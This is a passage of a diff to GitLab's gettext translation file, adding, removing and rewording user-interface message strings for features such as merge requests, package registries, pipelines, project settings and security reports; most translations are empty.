-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18823,9 +19309,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18958,9 +19441,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19018,9 +19498,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19585,6 +20062,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19777,6 +20257,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19840,6 +20326,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19975,6 +20464,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20293,6 +20785,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20341,9 +20842,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20509,6 +21007,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20554,6 +21055,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20620,7 +21124,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20671,6 +21175,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20758,6 +21265,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20929,6 +21439,30 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21043,6 +21577,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21175,10 +21718,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21268,9 +21808,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21295,9 +21832,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21328,6 +21862,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21415,12 +21952,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21439,9 +21970,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21454,10 +21982,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21472,6 +22003,9 @@ msgstr "Otvoreno"
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21523,6 +22057,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21631,12 +22168,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21667,6 +22210,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21685,6 +22231,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21736,6 +22285,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21760,9 +22312,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21799,15 +22348,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21859,27 +22435,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22117,10 +22672,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22201,7 +22765,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22450,9 +23014,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22471,6 +23032,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22546,6 +23110,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22615,9 +23191,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22768,12 +23341,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr ""
-
msgid "Please try again"
msgstr "Pokušaj ponovo"
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr ""
@@ -22807,6 +23380,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22945,6 +23530,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22969,6 +23560,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22993,6 +23587,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23251,7 +23848,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23641,6 +24238,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23656,49 +24256,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23752,25 +24385,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23782,7 +24418,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23794,7 +24430,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23806,10 +24442,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23842,10 +24478,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23869,15 +24508,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23908,7 +24541,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23917,7 +24550,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23938,16 +24571,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr ""
-
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23959,12 +24589,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23992,10 +24625,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24529,6 +25162,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24550,7 +25192,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24571,6 +25213,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24745,7 +25390,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24934,7 +25579,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25099,7 +25744,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25111,7 +25756,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25135,6 +25780,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25183,9 +25831,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25432,6 +26077,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25477,7 +26125,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25501,6 +26149,12 @@ msgstr[2] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25627,6 +26281,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25723,6 +26380,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26035,7 +26695,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26179,6 +26842,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26212,9 +26878,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26311,6 +26974,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26329,6 +26995,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26353,9 +27022,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26407,6 +27073,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26458,6 +27127,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26467,6 +27139,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26683,6 +27358,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26758,13 +27436,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26773,10 +27457,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26791,6 +27475,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26848,16 +27535,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26923,15 +27622,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
